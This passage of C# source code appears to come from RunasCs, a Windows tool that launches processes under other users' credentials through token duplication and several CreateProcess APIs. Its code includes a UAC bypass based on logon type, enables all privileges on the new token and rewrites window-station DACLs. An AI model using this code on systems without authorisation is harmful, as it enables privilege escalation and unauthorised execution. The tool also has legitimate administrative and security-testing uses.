// the below logon types are not filtered by UAC, we allow login with them. Otherwise stick with NetworkCleartext
if (logonType == LOGON32_LOGON_NETWORK || logonType == LOGON32_LOGON_BATCH || logonType == LOGON32_LOGON_SERVICE || logonType == LOGON32_LOGON_NETWORK_CLEARTEXT)
logonTypeBypassUac = logonType;
else
{
// Console.Out.WriteLine("[*] Warning: UAC Bypass is not compatible with logon type '" + logonType.ToString() + "'. Reverting to the NetworkCleartext logon type '8'. To force a specific logon type, use the flag combination --bypass-uac and --logon-type.");
logonTypeBypassUac = LOGON32_LOGON_NETWORK_CLEARTEXT;
}
if (!CreateProcessWithLogonWUacBypass(logonTypeBypassUac, logonFlags, username, domainName, password, null, commandLine, ref startupInfo, out processInfo))
throw new RunasCsException("CreateProcessWithLogonWUacBypass", true);
}
else
{
IntPtr hTokenUacCheck = new IntPtr(0);
if (logonType != LOGON32_LOGON_INTERACTIVE)
Console.Out.WriteLine("[*] Warning: The function CreateProcessWithLogonW is not compatible with the requested logon type '" + logonType.ToString() + "'. Reverting to the Interactive logon type '2'. To force a specific logon type, use the flag combination --remote-impersonation and --logon-type.");
// we check if the user has been granted the logon type requested, if not we show a message suggesting which logon type can be used to succesfully logon
CheckAvailableUserLogonType(username, password, domainName, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT);
// we use the logon type 2 - Interactive because CreateProcessWithLogonW internally use this logon type for the logon
if (!LogonUser(username, domainName, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, ref hTokenUacCheck))
throw new RunasCsException("LogonUser", true);
if (IsLimitedUserLogon(hTokenUacCheck, username, domainName, password, out logonTypeNotFiltered))
Console.Out.WriteLine(String.Format("[*] Warning: The logon for user '{0}' is limited. Use the flag combination --bypass-uac and --logon-type '{1}' to obtain a more privileged token.", username, logonTypeNotFiltered));
CloseHandle(hTokenUacCheck);
if (!CreateProcessWithLogonW(username, domainName, password, logonFlags, null, commandLine, CREATE_NO_WINDOW, (UInt32)0, null, ref startupInfo, out processInfo))
throw new RunasCsException("CreateProcessWithLogonW logon type 2", true);
}
}
private void RunasCreateProcessWithTokenW(string username, string domainName, string password, string commandLine, int logonType, uint logonFlags, int logonProvider, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered) {
IntPtr hToken = IntPtr.Zero;
IntPtr hTokenDuplicate = IntPtr.Zero;
if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken))
throw new RunasCsException("LogonUser", true);
if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenPrimary, ref hTokenDuplicate))
throw new RunasCsException("DuplicateTokenEx", true);
if (IsLimitedUserLogon(hTokenDuplicate, username, domainName, password, out logonTypeNotFiltered))
Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered));
// Enable SeImpersonatePrivilege on our current process needed by the seclogon to make the CreateProcessWithTokenW call
AccessToken.EnablePrivilege("SeImpersonatePrivilege", WindowsIdentity.GetCurrent().Token);
// Enable all privileges for the token of the new process
AccessToken.EnableAllPrivileges(hTokenDuplicate);
if (!CreateProcessWithTokenW(hTokenDuplicate, logonFlags, null, commandLine, CREATE_NO_WINDOW, IntPtr.Zero, null, ref startupInfo, out processInfo))
throw new RunasCsException("CreateProcessWithTokenW", true);
CloseHandle(hToken);
CloseHandle(hTokenDuplicate);
}
private void RunasCreateProcessAsUserW(string username, string domainName, string password, int logonType, int logonProvider, string commandLine, bool forceUserProfileCreation, bool userProfileExists, ref STARTUPINFO startupInfo, ref ProcessInformation processInfo, ref int logonTypeNotFiltered) {
IntPtr hToken = IntPtr.Zero;
IntPtr hTokenDuplicate = IntPtr.Zero;
IntPtr lpEnvironment = IntPtr.Zero;
if (!LogonUser(username, domainName, password, logonType, logonProvider, ref hToken))
throw new RunasCsException("LogonUser", true);
if (!DuplicateTokenEx(hToken, AccessToken.TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TokenPrimary, ref hTokenDuplicate))
throw new RunasCsException("DuplicateTokenEx", true);
if (IsLimitedUserLogon(hTokenDuplicate, username, domainName, password, out logonTypeNotFiltered))
Console.Out.WriteLine(String.Format("[*] Warning: Logon for user '{0}' is limited. Use the --logon-type value '{1}' to obtain a more privileged token", username, logonTypeNotFiltered));
GetUserEnvironmentBlock(hTokenDuplicate, username, forceUserProfileCreation, userProfileExists, out lpEnvironment);
// Enable SeAssignPrimaryTokenPrivilege on our current process needed by the kernel to make the CreateProcessAsUserW call
AccessToken.EnablePrivilege("SeAssignPrimaryTokenPrivilege", WindowsIdentity.GetCurrent().Token);
// Enable all privileges for the token of the new process
AccessToken.EnableAllPrivileges(hTokenDuplicate);
//the inherit handle flag must be true otherwise the pipe handles won't be inherited and the output won't be retrieved
if (!CreateProcessAsUser(hTokenDuplicate, null, commandLine, IntPtr.Zero, IntPtr.Zero, true, CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, lpEnvironment, Environment.GetEnvironmentVariable("SystemRoot") + "\\System32", ref startupInfo, out processInfo))
throw new RunasCsException("CreateProcessAsUser", true);
if (lpEnvironment != IntPtr.Zero) DestroyEnvironmentBlock(lpEnvironment);
CloseHandle(hToken);
CloseHandle(hTokenDuplicate);
}
public RunasCs()
{
this.hOutputRead = new IntPtr(0);
this.hOutputWrite = new IntPtr(0);
this.hErrorWrite = new IntPtr(0);
this.socket = new IntPtr(0);
this.stationDaclObj = null;
this.hTokenPreviousImpersonatingThread = new IntPtr(0);
}
public void CleanupHandles()
{
if(this.hOutputRead != IntPtr.Zero) CloseHandle(this.hOutputRead);
if(this.hOutputWrite != IntPtr.Zero) CloseHandle(this.hOutputWrite);
if(this.hErrorWrite != IntPtr.Zero) CloseHandle(this.hErrorWrite);
if(this.socket != IntPtr.Zero) closesocket(this.socket);
if(this.stationDaclObj != null) this.stationDaclObj.CleanupHandles();
this.hOutputRead = IntPtr.Zero;
this.hOutputWrite = IntPtr.Zero;
this.hErrorWrite = IntPtr.Zero;
this.socket = IntPtr.Zero;
this.hTokenPreviousImpersonatingThread = IntPtr.Zero;
this.stationDaclObj = null;
}
public string RunAs(string username, string password, string cmd, string domainName, uint processTimeout, int logonType, int createProcessFunction, string[] remote, bool forceUserProfileCreation, bool bypassUac, bool remoteImpersonation)
/*
int createProcessFunction:
0: CreateProcessAsUserW();
1: CreateProcessWithTokenW();
2: CreateProcessWithLogonW();
*/
{
string commandLine = ParseCommonProcessesInCommandline(cmd);
int logonProvider = LOGON32_PROVIDER_DEFAULT;
int logonTypeNotFiltered = 0;
STARTUPINFO startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpReserved = null;
ProcessInformation processInfo = new ProcessInformation();
// setup the std handles for the process based on the user input
RunasSetupStdHandlesForProcess(processTimeout, remote, ref startupInfo, out this.hOutputWrite, out this.hErrorWrite, out this.hOutputRead, out socket);
// add the proper DACL on the window station and desktop that will be used
this.stationDaclObj = new WindowStationDACL();
string desktopName = this.stationDaclObj.AddAclToActiveWindowStation(domainName, username, logonType);
startupInfo.lpDesktop = desktopName;
// setup proper logon provider for new credentials (9) logons
if (logonType == LOGON32_LOGON_NEW_CREDENTIALS) {
logonProvider = LOGON32_PROVIDER_WINNT50;
if (domainName == "") // fixing bugs in seclogon when using LOGON32_LOGON_NEW_CREDENTIALS...
domainName = ".";
}
// we check if the user has been granted the logon type requested, if not we show a message suggesting which logon type can be used to succesfully logon
CheckAvailableUserLogonType(username, password, domainName, logonType, logonProvider);
// Use the proper CreateProcess* function
if (remoteImpersonation)
RunasRemoteImpersonation(username, domainName, password, logonType, logonProvider, commandLine, ref startupInfo, ref processInfo, ref logonTypeNotFiltered);
else {
bool userProfileExists;
uint logonFlags = 0;
userProfileExists = IsUserProfileCreated(username, password, domainName, logonType);
// we load the user profile only if it has been already created or the creation is forced from the flag --force-profile
if (userProfileExists || forceUserProfileCreation)
logonFlags = LOGON_WITH_PROFILE;
if (logonType != LOGON32_LOGON_NEW_CREDENTIALS && !forceUserProfileCreation && !userProfileExists)
Console.Out.WriteLine("[*] Warning: User profile directory for user " + username + " does not exists. Use --force-profile if you want to force the creation.");
if (createProcessFunction == 2)
RunasCreateProcessWithLogonW(username, domainName, password, logonType, logonFlags, commandLine, bypassUac, ref startupInfo, ref processInfo, ref logonTypeNotFiltered);
else
{
if (bypassUac)
throw new RunasCsException(String.Format("The flag --bypass-uac is not compatible with {0} but only with --function '2' (CreateProcessWithLogonW)", GetProcessFunction(createProcessFunction)));
if (createProcessFunction == 0)
RunasCreateProcessAsUserW(username, domainName, password, logonType, logonProvider, commandLine, forceUserProfileCreation, userProfileExists, ref startupInfo, ref processInfo, ref logonTypeNotFiltered);
else if (createProcessFunction == 1)
RunasCreateProcessWithTokenW(username, domainName, password, commandLine, logonType, logonFlags, logonProvider, ref startupInfo, ref processInfo, ref logonTypeNotFiltered);
}
}
Console.Out.Flush(); // flushing console before waiting for child process execution
string output = "";
if (processTimeout > 0) {
CloseHandle(this.hOutputWrite);
CloseHandle(this.hErrorWrite);
this.hOutputWrite = IntPtr.Zero;
this.hErrorWrite = IntPtr.Zero;
WaitForSingleObject(processInfo.process, processTimeout);
output += "\r\n" + ReadOutputFromPipe(this.hOutputRead);
} else {
int sessionId = System.Diagnostics.Process.GetCurrentProcess().SessionId;
if (remoteImpersonation)
output += "\r\n[+] Running in session " + sessionId.ToString() + " with process function 'Remote Impersonation' \r\n";
else
output += "\r\n[+] Running in session " + sessionId.ToString() + " with process function " + GetProcessFunction(createProcessFunction) + "\r\n";
output += "[+] Using Station\\Desktop: " + desktopName + "\r\n";
output += "[+] Async process '" + commandLine + "' with pid " + processInfo.processId + " created in background.\r\n";
}
CloseHandle(processInfo.process);
CloseHandle(processInfo.thread);
this.CleanupHandles();
return output;
}
}
public class WindowStationDACL{
private const int UOI_NAME = 2;
private const int ERROR_INSUFFICIENT_BUFFER = 122;
private const uint SECURITY_DESCRIPTOR_REVISION = 1;
private const uint ACL_REVISION = 2;
private const uint MAXDWORD = 0xffffffff;
private const byte ACCESS_ALLOWED_ACE_TYPE = 0x0;
private const byte CONTAINER_INHERIT_ACE = 0x2;
private const byte INHERIT_ONLY_ACE = 0x8;
private const byte OBJECT_INHERIT_ACE = 0x1;
private const byte NO_PROPAGATE_INHERIT_ACE = 0x4;
private const int NO_ERROR = 0;
private const int ERROR_INVALID_FLAGS = 1004; // On Windows Server 2003 this error is/can be returned, but processing can still continue
[Flags]
private enum ACCESS_MASK : uint
{
DELETE = 0x00010000,
READ_CONTROL = 0x00020000,
WRITE_DAC = 0x00040000,
WRITE_OWNER = 0x00080000,
SYNCHRONIZE = 0x00100000,
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
STANDARD_RIGHTS_READ = 0x00020000,
STANDARD_RIGHTS_WRITE = 0x00020000,
STANDARD_RIGHTS_EXECUTE = 0x00020000,
STANDARD_RIGHTS_ALL = 0x001F0000,
SPECIFIC_RIGHTS_ALL = 0x0000FFFF,
ACCESS_SYSTEM_SECURITY = 0x01000000,
MAXIMUM_ALLOWED = 0x02000000,
GENERIC_READ = 0x80000000,
GENERIC_WRITE = 0x40000000,
GENERIC_EXECUTE = 0x20000000,
GENERIC_ALL = 0x10000000,
GENERIC_ACCESS = GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL,
DESKTOP_READOBJECTS = 0x00000001,
DESKTOP_CREATEWINDOW = 0x00000002,
DESKTOP_CREATEMENU = 0x00000004,
DESKTOP_HOOKCONTROL = 0x00000008,
DESKTOP_JOURNALRECORD = 0x00000010,
DESKTOP_JOURNALPLAYBACK = 0x00000020,
DESKTOP_ENUMERATE = 0x00000040,
DESKTOP_WRITEOBJECTS = 0x00000080,
DESKTOP_SWITCHDESKTOP = 0x00000100,
DESKTOP_ALL = (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU |
DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK |
DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP |
STANDARD_RIGHTS_REQUIRED),
WINSTA_ENUMDESKTOPS = 0x00000001,
WINSTA_READATTRIBUTES = 0x00000002,
WINSTA_ACCESSCLIPBOARD = 0x00000004,
WINSTA_CREATEDESKTOP = 0x00000008,
WINSTA_WRITEATTRIBUTES = 0x00000010,
WINSTA_ACCESSGLOBALATOMS = 0x00000020,
WINSTA_EXITWINDOWS = 0x00000040,
WINSTA_ENUMERATE = 0x00000100,
WINSTA_READSCREEN = 0x00000200,
WINSTA_ALL = (WINSTA_ACCESSCLIPBOARD | WINSTA_ACCESSGLOBALATOMS |
WINSTA_CREATEDESKTOP | WINSTA_ENUMDESKTOPS |
WINSTA_ENUMERATE | WINSTA_EXITWINDOWS |
WINSTA_READATTRIBUTES | WINSTA_READSCREEN |
WINSTA_WRITEATTRIBUTES | DELETE |
READ_CONTROL | WRITE_DAC |
WRITE_OWNER)
}
[Flags]
private enum SECURITY_INFORMATION : uint
{
OWNER_SECURITY_INFORMATION = 0x00000001,
GROUP_SECURITY_INFORMATION = 0x00000002,
DACL_SECURITY_INFORMATION = 0x00000004,
SACL_SECURITY_INFORMATION = 0x00000008,
UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000,
UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000,
PROTECTED_SACL_SECURITY_INFORMATION = 0x40000000,
PROTECTED_DACL_SECURITY_INFORMATION = 0x80000000
}
private enum ACL_INFORMATION_CLASS
{
AclRevisionInformation = 1,
AclSizeInformation = 2
}
private enum SID_NAME_USE
{
SidTypeUser = 1,
SidTypeGroup,
SidTypeDomain,
SidTypeAlias,
SidTypeWellKnownGroup,
SidTypeDeletedAccount,
SidTypeInvalid,
SidTypeUnknown,
SidTypeComputer
}
[StructLayout(LayoutKind.Sequential)]
private struct SidIdentifierAuthority
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)]
public byte[] Value;
}
[StructLayout(LayoutKind.Sequential)]
private struct ACL_SIZE_INFORMATION
{
public uint AceCount;
public uint AclBytesInUse;
public uint AclBytesFree;
}
[StructLayout(LayoutKind.Sequential)]
private struct ACE_HEADER
{
public byte AceType;
public byte AceFlags;
public short AceSize;
}
[StructLayout(LayoutKind.Sequential)]
private struct ACCESS_ALLOWED_ACE
{
public ACE_HEADER Header;
public ACCESS_MASK Mask;
public uint SidStart;
}
[DllImport("user32", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr GetProcessWindowStation();
[DllImport("user32.dll", SetLastError=true)]
private static extern bool GetUserObjectInformation(IntPtr hObj, int nIndex,[Out] byte [] pvInfo, uint nLength, out uint lpnLengthNeeded);
[DllImport("user32", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr OpenWindowStation([MarshalAs(UnmanagedType.LPTStr)] string lpszWinSta,[MarshalAs(UnmanagedType.Bool)]bool fInherit, ACCESS_MASK dwDesiredAccess);
[DllImport("user32.dll")]
private static extern IntPtr OpenDesktop(string lpszDesktop, uint dwFlags, bool fInherit, ACCESS_MASK dwDesiredAccess);
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("user32", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern bool CloseWindowStation(IntPtr hWinsta);
[DllImport("user32.dll", SetLastError=true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetProcessWindowStation(IntPtr hWinSta);
[DllImport("advapi32.dll")]
private static extern IntPtr FreeSid(IntPtr pSid);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool GetUserObjectSecurity(IntPtr hObj, ref SECURITY_INFORMATION pSIRequested, IntPtr pSID, uint nLength, out uint lpnLengthNeeded);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool GetSecurityDescriptorDacl(IntPtr pSecurityDescriptor, [MarshalAs(UnmanagedType.Bool)] out bool bDaclPresent, ref IntPtr pDacl,[MarshalAs(UnmanagedType.Bool)] out bool bDaclDefaulted);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool GetAclInformation(IntPtr pAcl, ref ACL_SIZE_INFORMATION pAclInformation, uint nAclInformationLength, ACL_INFORMATION_CLASS dwAclInformationClass);
[DllImport("advapi32.dll", SetLastError=true)]
private static extern bool InitializeSecurityDescriptor(IntPtr SecurityDescriptor, uint dwRevision);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int GetLengthSid(IntPtr pSID);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool InitializeAcl(IntPtr pAcl, uint nAclLength, uint dwAclRevision);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool GetAce(IntPtr aclPtr, int aceIndex, out IntPtr acePtr);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AddAce(IntPtr pAcl, uint dwAceRevision, uint dwStartingAceIndex, IntPtr pAceList, uint nAceListLength);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AddAccessAllowedAce(IntPtr pAcl, uint dwAceRevision, ACCESS_MASK AccessMask, IntPtr pSid);
[DllImport("advapi32.dll", SetLastError=true)]
private static extern bool SetSecurityDescriptorDacl(IntPtr sd, bool daclPresent, IntPtr dacl, bool daclDefaulted);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetUserObjectSecurity(IntPtr hObj, ref SECURITY_INFORMATION pSIRequested, IntPtr pSD);
[DllImport("advapi32.dll", SetLastError=true)]
private static extern bool CopySid(uint nDestinationSidLength, IntPtr pDestinationSid, IntPtr pSourceSid);
[DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError = true)]
private static extern bool LookupAccountName(string lpSystemName, string lpAccountName, [MarshalAs(UnmanagedType.LPArray)] byte[] Sid, ref uint cbSid, StringBuilder ReferencedDomainName, ref uint cchReferencedDomainName, out SID_NAME_USE peUse);
private IntPtr hWinsta;
private IntPtr hDesktop;
private IntPtr userSid;
private IntPtr GetUserSid(string domain, string username){
IntPtr userSid = IntPtr.Zero;
string fqan = "";//Fully qualified account names
byte [] Sid = null;
uint cbSid = 0;
StringBuilder referencedDomainName = new StringBuilder();
uint cchReferencedDomainName = (uint)referencedDomainName.Capacity;
SID_NAME_USE sidUse;
int err = NO_ERROR;
if(domain != "" && domain != ".")
fqan = domain + "\\" + username;
else
fqan = username;
if (!LookupAccountName(null,fqan,Sid,ref cbSid,referencedDomainName,ref cchReferencedDomainName,out sidUse))
{
err = Marshal.GetLastWin32Error();
if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS)
{
Sid = new byte[cbSid];
referencedDomainName.EnsureCapacity((int)cchReferencedDomainName);
err = NO_ERROR;
if (!LookupAccountName(null,fqan,Sid,ref cbSid,referencedDomainName,ref cchReferencedDomainName,out sidUse))
err = Marshal.GetLastWin32Error();
}
}
else{
string error = "The username " + fqan + " has not been found. ";
throw new RunasCsException(error + "LookupAccountName", true);
}
if (err == 0)
{
userSid = Marshal.AllocHGlobal((int)cbSid);
Marshal.Copy(Sid, 0, userSid, (int)cbSid);
}
else{
string error = "The username " + fqan + " has not been found. ";
throw new RunasCsException(error + "LookupAccountName", true);
}
return userSid;